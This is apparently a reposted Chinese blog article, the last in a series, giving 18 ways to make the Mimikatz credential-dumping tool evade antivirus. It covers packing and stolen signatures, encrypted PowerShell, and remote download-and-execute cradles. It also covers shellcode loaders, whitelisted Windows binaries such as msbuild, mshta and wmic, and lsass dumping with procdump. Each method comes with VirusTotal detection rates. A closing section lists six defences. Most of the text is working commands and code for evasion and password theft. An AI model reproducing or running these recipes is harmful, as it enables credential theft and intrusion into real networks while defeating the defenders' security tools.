远控免杀从入门到实践 (11) 终结篇

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

《远控免杀从入门到实践》系列文章目录:

1、远控免杀从入门到实践 (1)基础篇

2、 远控免杀从入门到实践 (2)工具总结篇

3、 远控免杀从入门到实践 (3)代码篇-C/C++

4、 远控免杀从入门到实践 (4)代码篇-C#

5、 远控免杀从入门到实践 (5)代码篇-Python

6、 远控免杀从入门到实践 (6)代码篇-Powershell

7、 远控免杀从入门到实践 (7)代码篇-Golang+Ruby

8、 远控免杀从入门到实践 (8)shellcode免杀实践

9、 远控免杀从入门到实践 (9)白名单(113个)总结篇

10、远控免杀从入门到实践 (10) Mimikatz的18种免杀实践

0x00 前言

Mimikatz是法国人Benjamin Delpy编写的一款轻量级的调试工具,理论上可以抓取所有windows系统的明文密码(winxp之前的好像不行),因此在内网渗透过程中应用非常广,属于内网渗透必备工具之一,被很多人称之为密码抓取神器。Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资料很多,本文主要是介绍一下mimikatz的一些免杀方式。

随着这两年hw行动越来越多,企事业单位也都开始注重内网安全,有预算的会上全套的终端安全、企业版杀软或者EDR,就算没有预算的也会装个360全家桶或者主机卫士之类的,这也导致很多时候你的mimikatz可能都没法拷贝过去或者没有加载执行,拿了台服务器却横向移不动就尴尬了。

之前写了 远控免杀系列的文章,学习到一些比较好玩的免杀姿势,又从网上找到了一些针对mimikatz的免杀技巧,于是就有了这篇mimikatz免杀的文章。

本文所用到的相关工具和代码都已经打包: https://github.com/TideSec/BypassAntiVirus/tree/master/tools/

0x02 免杀介绍

在 远控免杀专题(1)-基础篇中就已经大体介绍了一些常见的免杀方式,而针对Mimikatz的免杀更多样化,因为Mimiktaz本身是开源的,对源码或者对exe都可以进行免杀处理。本文主要介绍了如下5类免杀方式,共18种免杀方法。

本文虽然是针对Mimiktaz进行免杀,但更多的是想研究学习一下比较通用的exe的免杀方式,比如文中介绍的exe通用加载器、powershell执行exe、白名单加载exe等有几种方法可以适用于任意的exe免杀,如果只是针对mimikatz进行免杀完全没必要这么啰嗦的。

1、源码免杀。在有源码的情况下,可以定位特征码、加花指令、多层跳转、加无效指令、替换api、重写api、API伪调用等等,这部分内容较多略复杂,打算另写一篇进行介绍,本文不多介绍。

2、无源码免杀在源码不好修改需要对exe进行免杀时,可以加资源、替换资源、加壳、加签名、PE优化、增加节数据等等。本文中的方法1就是这种方式,只不过算是最简单的一种。

3、powershell免杀因为mimikatz有powershell版或者使用powershell可以加载,所以对powershell的脚本免杀也是一种方式,本文中的方法2-方法6都是对powershell进行处理。

4、加载器分离免杀加载器就是利用了ShellCode和PE分离的方式来达到免杀的效果,在远控免杀专题中介绍过不少很好用的加载器,不过很多只能加载基于RAW格式或固定格式的shellcode,对exe程序就无能无力了。所以这次针对mimikatz,专门找了几个比较通用的exe加载器,将exe转换成bin文件即可进行加载,没有格式限制,方法7到方法10就是介绍的这类免杀。

5、白名单免杀白名单主要是使用了rundll32、msbuild、mshta、cscript等多个白名单程序来加载嵌入了mimikatz的jscript脚本,这部分没有太多亮点,和之前写的 远控免杀专题白名单篇基本相似。部分白名单加载方法借鉴了R1ngk3y的文章 九种姿势运行Mimikatz。

0x03 mimikatz免杀实践

方法0-原生态mimikatz.exe(VT查杀率55/71)

先测一下原生态的mimikatz在virustotal.com上的查杀率,以此来衡量其他的免杀效果。

可以从 https://github.com/gentilkiwi/mimikatz/releases下载最新的mimikatz,最新版本为2.2.0(20200308),我这里都是以64位mimiktaz为例进行测试。

开启360防护时会拦截

virustotal.com上查杀率为55/71。

方法1-加壳+签名+资源替换(VT查杀率9/70)

这里先介绍一种比较常见的pe免杀方法,就是替换资源+加壳+签名,有能力的还可以pe修改,而且mimikatz是开源的,针对源码进行免杀处理效果会更好,这里不多做讨论。

需要几个软件,VMProtect Ultimate 3.4.0加壳软件,下载链接:  https://pan.baidu.com/s/1VXaZgZ1YlVQW9P3B_ciChg 提取码: emnq

签名软件 https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/sigthief.py

资源替换软件ResHacker: https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

先替换资源,使用ResHacker打开mimikatz.exe,然后在图标里替换为360图标,version里面文字自己随意更改。

安装vmp加壳软件后,使用vmp进行加壳

使用sigthief.py对上一步生成的exe文件进行签名。sigthief的详细用法可以参考 https://github.com/secretsquirrel/SigThief。

然后看看能不能运行,360和火绒都没问题。

VT平台上mimikatz32_360.exe文件查杀率9/70,缺点就是vmp加壳后会变得比较大。

方法2-Invoke-Mimikatz(VT查杀率39/58)

当exe文件执行被拦截时,最常想到的就是使用PowerSploit中的Invoke-Mimikatz.ps1了。它虽然是powershell格式,但由于知名度太高,目前也是被查杀的惨不忍睹了。

可以去PowerSploit下载,也可以下载我打包的:

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

将Invoke-Mimikatz.ps1放在测试机上,本地执行

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\Invoke-Mimikatz.ps1;Invoke-Mimikatz"

杀软会行为拦截,Invoke-Mimikatz.ps1脚本也会被查杀。

powershell脚本更方便的是可以进行远程加载

powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz

不过由于raw.githubusercontent.com经常访问受限,所以可能会出现这种提示

所以,最后是把相关代码放在自己的vps上,我就直接放我的内网另外的pc上了。

powershell依旧会被360行为拦截。

对可以尝试直使用下面的bypass方式,来自团队诺言大佬的文章 内网渗透-windows持久性后门

powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

不会触发powershell下载行为预警。

virustotal.com上Invoke-Mimikatz.ps1脚本查杀率为39/58。

方法3-使用Out-EncryptedScript加密(VT查杀率0/60)

参考 https://www.jianshu.com/p/ed5074f8584b

Powersploit中提供的很多工具都是做过加密处理的,同时也提供了一些用来加密处理的脚本,Out-EncryptedScript就是其中之一。

首先在本地对Invoke-Mimikatz.ps1进行加密处理:

先下载Out-EncryptedScript.ps1脚本,下载地址: https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1

在自己的电脑上依次执行

powershell.exe
Import-Module .\Out-EncryptedScript.ps1
Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password tidesec -Salt 123456

默认会生成的evil.ps1文件。其中两个参数:-Password 设置加密的密钥-Salt 随机数,防止被暴力破解

将加密生成的evil.ps1脚本放在目标机上,执行如下命令:

powershell.exe
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1")
[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de tidesec 123456
Invoke-Expression $decrypted
Invoke-Mimikatz

对evil.ps1文件进行查杀

virustotal.com上evil.ps1文件查杀率为0/60。

方法4-使用xencrypt加密(VT查杀率2/59)

该方法主要是使用工具对powershell脚本进行加密并采用Gzip/DEFLATE来绕过杀软。

工具地址 https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/xencrypt.ps1

下载Invoke-Mimikatz.ps1

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

将xencrypt.ps1也放在同一目录

在powershell中执行

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile .\Invoke-Mimikatz.ps1 -OutFile mimi.ps1 -Iterations 88

生成mimi.ps1

执行

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\mimi.ps1;Invoke-Mimikatz"

virustotal.com上mimi.ps1文件查杀率为2/59。

方法5-PowerShell嵌入EXE文件(VT查杀率15/58)

这个方法其实只是将exe程序转为字符串,然后嵌入到Invoke-ReflectivePEInjection.ps1中直接执行。参考 https://www.freebuf.com/articles/terminal/99631.html

将下面代码保存为Convert-BinaryToString.ps1

function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String
}

执行powershell import-module .\Convert-BinaryToString.ps1 ; Convert-BinaryToString .\mimikatz.exe >>1.txt

下载Invoke-ReflectivePEInjection.ps1,这个是Empire里的,可以使用PEUrl参数。 https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1

新建一个payload.ps1,内容如下,需要替换里面1.txt的内容和Invoke-ReflectivePEInjection内容。

# Your base64 encoded binary
$InputString = '...........'  #上面1.txt的内容
function Invoke-ReflectivePEInjection  #Invoke-ReflectivePEInjection的内容
{
   ......
   ......
   ......
}
# Convert base64 string to byte array
$PEBytes = [System.Convert]::FromBase64String($InputString)
# Run EXE in memory
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

然后在目标机器执行powershell -ExecutionPolicy Bypass -File payload.ps1即可。

打开杀软发现静态查杀都过不了,其实这个也正常,Invoke-ReflectivePEInjection这个知名度太高了。

如果保错PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)

说明使用32位的powershell才行%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1

virustotal.com上payload.ps1文件查杀率为15/58。

方法6-C程序中执行powershell(VT查杀率7/71)

这个执行方式也是比较简单,在C代码里执行powershell。

先借用Invoke-Mimikatz.ps1

powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz

使用c语言的system函数去执行powershell。

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz");
return 0;
}

编译为exe文件,达到免杀的目的。但在运行该exe时,会触发360报警。

virustotal.com上Project1.exe文件查杀率为7/71。

方法7-使用加载器pe_to_shellcode(VT查杀率47/70)

下载 https://github.com/hasherezade/pe_to_shellcode

将mimikatz.exe转化为shellcodepe2shc.exe mimikatz.exe mimi.txt

加载runshc64.exe mimi.txt

virustotal.com上mimi.txt文件查杀率为47/70,额,看来这个已经被列入黑名单了。

方法8-c#加载shellcode(VT查杀率21/57)

参考远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58) https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

先使用上面介绍的pe_to_shellcode方法,把mimikatz.exe转换为mimi.txt

然后使用bin2hex.exe将mimi.txt转换为16进制文件,bin2hex.exe可在这里下载到 https://github.com/TideSec/BypassAntiVirus/blob/master/tools/bin2hex.exe

bin2hex.exe --i mimi.txt --o mimi2.txt

在vs2017中创建C#的Console工程,把mimi2.txt中的16进制放到下面代码中的MsfPayload中。

using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
    public class Program
    {
        public Program()
        {
            RunMSF();
        }
        public static void RunMSF()
        {
            byte[] MsfPayload =  {
0x4D, 0x5A, 0x45, 0x52, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x83,
0x41, 0x59, 0x41, 0x58, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC2, 0x04, 0x00 };
            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }
        public static void Main()
        {
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

编译生成exe文件。

然后使用DotNetToJScript把csharp文件转为js

DotNetToJScript.exe -l=JScript -o=mimikatz.js -c=MSFWrapper.Program ConsoleApp1.exe

使用cscript.exe mimikatz.js进行执行。

virustotal.com上mimi.txt文件查杀率为21/57。

方法9-Donut执行mimikatz(VT查杀率29/71)

先使用donut把mimiktaz.exe转为bin文件。

donut.exe -f mimikatz.exe -o mimi.bin

将mimi.bin作base64编码并保存在剪贴板,powershell命令如下:

$filename = "mimi.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip

把base64编码复制到DonutTest工程中。

编译生成exe。

在注入进程时,发现注入到notepad.exe中无法执行,但注入到powershell中可以执行。

但是发现仍被查杀。

VT查杀率29/71,怎一个惨字了得。

方法10-msf加载bin(VT查杀率2/59)

Donut下载 https://github.com/TheWover/donut

下载shellcode_inject.rb代码 https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/shellcode_inject.rb

1、首先使用Donut对需要执行的文件进行shellcode生成,这里对mimi进行shellcode生成,生成bin文件,等下会用到。

donut.exe -f mimikatz.exe -a 2 -o mimi.bin

windows下的0.9.3版本的donut没能生成,于是使用了0.9.2版本。

kali下的0.9.3可正常使用。

2、将上面的shellcode_inject.rb放入/opt/metasploit-framework/embedded/framework/modules/post/windows/manage下(实际路径可能不同,也就是metasploit-framework的上级路径,根据实际情况调整),然后进入msf,reload_all同时载入所有模块。

kali里是在目录/usr/share/metasploit-framework/modules/post/windows/manage/

mac下是在/opt/metasploit-framework/embedded/framework/modules/post/windows/manage

3、使用之前载入的shellcode_inject注入模块,这里是获取session后的操作了,session先自己上线再进行以下操作

use post/windows/manage/shellcode_inject
set session 2
set shellcode /tmp/payload.bin
run

最后成功加载了mimi,使用shellcode注入执行,有更强的隐蔽性。

VT平台上mimi.bin文件查杀率2/59,卡巴斯基这都能查杀...

方法11-用C#加载mimikatz(VT查杀率35/73)

参考 https://www.jianshu.com/p/12242d82b2df

参考远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70): https://mp.weixin.qq.com/s/Kvhfb13d2_D6m-Bu9Darog

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/katz.cs

将katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727先powoershell执行

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content  key.snk -Value $Content -Encoding Byte

再cmd执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe

运行时需要管理员权限,而且360会拦截

放行后可正常执行

virustotal.com上katz.exe查杀率为35/73,略惨。

方法12-JS加载mimikatz(VT查杀率22/59)

参考远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58): https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

这个是大佬已经做好的payload,可以直接进行使用。

用DotNetToJScript实现

https://github.com/tyranid/DotNetToJScript

mimikatz

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.js

执行cscript mimikatz.js,360会拦截。

放行后可正常执行

virustotal.com上mimikatz.js查杀率为22/59。

方法13-msiexec加载mimikatz(VT查杀率25/60)

参考远控免杀专题(35)-白名单Msiexec.exe执行payload(VT免杀率27-60): https://mp.weixin.qq.com/s/XPrBK1Yh5ggO-PeK85mqcg

使用Advanced Installer生成msi文件。

远程执行

msiexec.exe /passive /i https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.msi /norestart

本地执行

msiexec /passive /i Mimikatz.msi

virustotal.com上mimikatz.msi查杀率为25/60。

方法14-白名单msbuild.exe加载(VT查杀率4/59)

可参考之前的远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57): https://mp.weixin.qq.com/s/1WEglPXm1Q5n6T-c4OhhXA

下载mimikatz.xml

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/executes-mimikatz.xml

执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes-mimikatz.xml

火绒会预警,360不会

virustotal.com上executes-mimikatz.xml查杀率为4/59。

方法15-JScript的xsl版(VT查杀率7/60)

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl

本地加载

wmic os get /format:"mimikatz.xsl"

远程加载

wmic os get /format:"https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl"

放行后

virustotal.com上mimikatz.xsl查杀率为7/60。

方法16-jscript的sct版(VT查杀率23/59)

参考远控免杀专题(37)-白名单Mshta.exe执行payload(VT免杀率26-58): https://mp.weixin.qq.com/s/oBr-syv2ef5IjeGFrs7sHg

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct

执行

mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct").Exec(); log coffee exit

360拦截依旧

virustotal.com上mimikatz.sct查杀率为23/59。

方法17-ReflectivePEInjection加载(VT查杀率32/57)

ReflectivePEInjection是powersploit里的比较有名的一个pe加载脚本,很好使。

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1

执行

powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl "http://10.211.55.2/mimikatz/x64/mimikatz.exe" -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

这个用什么来衡量免杀都不太合适,我就用Invoke-ReflectivePEInjection.ps1吧。在virustotal.com上Invoke-ReflectivePEInjection.ps1查杀率为32/57。

方法18-导出lsass进程离线读密码(VT查杀率0/72)

windows有多款官方工具可以导出lsass进程的内存数据,比如procdump.exe、SqlDumper.exe、Out-Minidump.ps1等,我这里以procdump.exe为例进行演示。

procdump.exe工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

procdump.exe下载 https://github.com/TideSec/BypassAntiVirus/tree/master/tools/mimikatz/procdump.exe

在目标机器执行下面命令,导出lsass.dmp

procdump.exe -accepteula -ma lsass.exe lsass.dmp

再使用mimikatz读取密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

在virustotal.com上procdump.exe查杀率为0/72,不过这种读取lsass的行为早就被各大杀软拦截了,所以这种静态查杀没有太大参考价值。

我们团队的诺言大佬写过一篇可绕过卡巴斯基获取hash的方法,可以看这个 https://mp.weixin.qq.com/s/WLP1soWz-_BEouMxTHLbzg。

0x04 防御mimikatz的6种方法

由于mimikatz工具太厉害,横向移动必备神器,所以针对mimikatz的加固方法也有不少,这里简单介绍几种。

方法1-WDigest禁用缓存

WDigest.dll是在Windows XP操作系统中引入的,当时这个协议设计出来是把明文密码存在lsass里为了http认证的。WDigest的问题是它将密码存储在内存中,并且无论是否使用它,都会将其存储在内存中。

默认在win2008之前是默认启用的。但是在win2008之后的系统上,默认是关闭的。如果在win2008之前的系统上打了KB2871997补丁,那么就可以去启用或者禁用WDigest。

KB2871997补丁下载地址:

Windows 7 x86 https://download.microsoft.com/download/9/8/7/9870AA0C-BA2F-4FD0-8F1C-F469CCA2C3FD/Windows6.1-KB2871997-v2-x86.msu
Windows 7 x64 https://download.microsoft.com/download/C/7/7/C77BDB45-54E4-485E-82EB-2F424113AA12/Windows6.1-KB2871997-v2-x64.msu
Windows Server 2008 R2 x64 Edition https://download.microsoft.com/download/E/E/6/EE61BDFF-E2EA-41A9-AC03-CEBC88972337/Windows6.1-KB2871997-v2-x64.msu

启用或者禁用WDigest修改注册表位置:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest

UseLogonCredential 值设置为 0, WDigest不把凭证缓存在内存,mimiktaz抓不到明文;UseLogonCredential 值设置为 1, WDigest把凭证缓存在内存,mimiktaz可以获取到明文。

在注册表中将UseLogonCredential 值设置为 0,或者使用命令

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

我们可以通过如下命令来测试修改是否生效:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

如果成功,系统应该会返回如下内容:

注销后重新登录,发现mimikatz已经无法获取明文密码。

方法2-Debug 权限

Mimikatz在获取密码时需要有本地管理员权限,因为它需要与lsass进程所交互,需要有调试权限来调试进程,默认情况下本地管理员拥有调试权限,但是这个权限一般情况是很少用得到的,所以可以通过关闭debug权限的方法来防范Mimikatz。

删除上图的administrators组,这样管理员也没了debug权限。

注销后再执行mimiktaz,获取debug权限时发现报错。

方法3-LSA 保护

自Windows 8.1 开始为LSA提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名。 在LSA Protection保护模式下,mimikatz运行 sekurlsa::logonpasswords抓取密码会报错。

可以通过注册表开启LSA Protection,注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa新建-DWORD(32)值,名称为 RunAsPPL,数值为 00000001,然后重启系统生效。

或者使用命令来完成

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f

重启后再执行mimikatz.exe,发现已经无法获取密码。

此时其实可以从磁盘上的SAM读取凭据,执行

mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam

方法4-受限制的管理模式

对于 Windows 2012 R2 和 Windows 8.1 之前的旧操作系统,需要先安装补丁KB2871997。

先在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 设置RunAsPPL为1然后在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 设置 DisableRestrictedAdmin为0 , DisableRestrictedAdminOutboundCreds为1。

然后需要在域中强制执行“对远程服务器的凭据限制委派”策略,以确保所有出站RDP会话都使用“RestrictedAdmin”模式,因此才不会泄露凭据。

具体位置是组策略:计算机配置--管理模板--系统--凭据分配--限制向远程服务器分配凭据,选择已启用,但是我的环境里选项一栏中没有看到Require Restricted Admin。

在执行 lsadump::cache时报错,ERROR kuhl_m_lsadump_secrets0rCache:kull_m_registry_RegOpenKeyEx (SECURITY) 0x00000005该错误,是注册表增加了LSA保护所起到的。

方法5-禁用凭证缓存

Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。如果域控制器不可用,那么windows将检查缓存的最后一个密码hash值,这样为以后系统对用户进行身份验证。缓存位置如下:

HKEY_LOCAL_MACHINE\SECURITY\Cache

在组策略中设置禁用缓存

计算机配置--windows设置--安全设置--本地策略--安全选项 交互式登录:之前登录到缓存的次数(域控制器不可用时) 默认是10,设置为0

注销后再次执行mimikatz,没有读取到任何用户数据。

方法6-受保护的用户组

WindowsServer 2012及更高版本使用了引入了一个名为“Protected Users”的新安全组,其他系统需要安装 KB2871997 补丁才会有。

此组使域管理员能够保护本地管理员等有权限的用户,因为属于该组的任何帐户只能通过Kerberos对域进行身份验证。

这将有助于防止NTLS密码哈希值或LSAS中的纯文本凭据泄露给敏感帐户,这些帐户通常是攻击者的目标。

可以在“Active Directory用户和计算机”中找到“Protected Users”安全组。

在配置之前,使用mimikatz可读取明文密码。

可以通过执行以下PowerShell命令将帐户添加到“受保护的用户”组中:

Add-ADGroupMember –Identity 'Protected Users' –Members administrator

注销后再次执行mimikatz,已经看不到administrator用户的密码了。

0x05 小结

通过对mimikatz免杀的研究,也算是对之前的远控免杀专题文章进行了重温和实践,整理了几种能适用于任意exe文件的免杀方法,最起码以后看到杀软不会那么咬牙切齿了。

1、源码级免杀应该是效果比较好的,不过对编程能力、免杀经验要求比较高,不少大佬手头上都有私藏定制的全免杀的mimikatz,很多都是通过源码处理后再编译来免杀的。

2、通过修改资源、签名、pe优化修改等方式相对简单一些,不过免杀效果也差了一些,很多时候静态查杀能过,但行为查杀就废了。

3、针对powershell来加载或执行mimikatz时,免杀主要针对powershell脚本,免杀效果也很好,不过你在目标机器上怎么执行powershell而不触发杀软行为检测是个问题。

4、加载器的免杀效果整体算不错,当然donut是个例外,因为他开源而且知名度比较高,里面特征码被查杀的太厉害,如果稍微修改下源码再编译应该会好很多。

5、白名单执行大部分还是使用了将C#程序转为js的方法,静态免杀效果还不错,但白名单最尴尬的是远程调用时杀软都会拦截报警,在2008服务器上你用webshell调用任意程序最新的360都会拦截。

0x06 参考资料

防御mimikatz抓取密码的方法: https://zhuanlan.zhihu.com/p/59337564

Bypass LSA Protection: https://xz.aliyun.com/t/6943

防御Mimikatz攻击的方法介: https://www.freebuf.com/articles/network/180869.html

九种姿势运行Mimikatz: https://cloud.tencent.com/developer/article/1171183

Mimikatz的多种攻击方式以及防御方式: http://blog.itpub.net/69946337/viewspace-2658825/

简单几步搞定Mimikatz无文件+免杀: https://www.jianshu.com/p/ed5074f8584b

扶苏゜
关注 关注
  • 0
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
pe_to_shellcode_linux:PE到shellcode会将任何Windows非.dot net 64位EXE文件转换为shellcode。 这基于hasherezade的Windows pe_to_shellcode(https:github.comhasherezadepe_to_shellcode)
02-13
pe_to_shellcode_linux PE到shellcode会将任何Windows非.dot net 64位EXE文件转换为shellcode。 这基于hasherezade的Windows pe_to_shellcode( )。 Hashrezade的HLDR64文件源 下载和构建: 在终端中,通过git下载源代码: git clone cd进入文件夹: cd pe_to_shellcode_linux 键入./build.sh 选项: -f指定要转换的exe文件 -o输出要使用的二进制shell文件 用法:pe2shellcode -f 64bitexe.exe -o shellcode.sc
安全研发----使用pe_to_shellcodemimikatz
SHELLCODE_8BIT的博客
10-28 2655
前言 mimikatz是一款大量使用的项目,我们在实战中经常会用到它来抓取目标密码,而由于项目中大量实战导致软查非常严重,我们来看看现在的mimikatz编译出来的查情况。在该项目中我们会学习到一个叫pe_to_shellcode的项目,直接能够将pe转换成shellcode,可以简易的将pe使用内存加载避开特征文件落地。 一.下载和编译mimikatz 首先从https://github.com/gentilmimikatz下载mimikatz 二.去掉mimikatz大部分特征 1.
对抗-C2篇&Golang&Rust&冷门语言&Loader加载器&对抗优势&减少熵值特征
最新发布
qq_45087791的博客
03-20 903
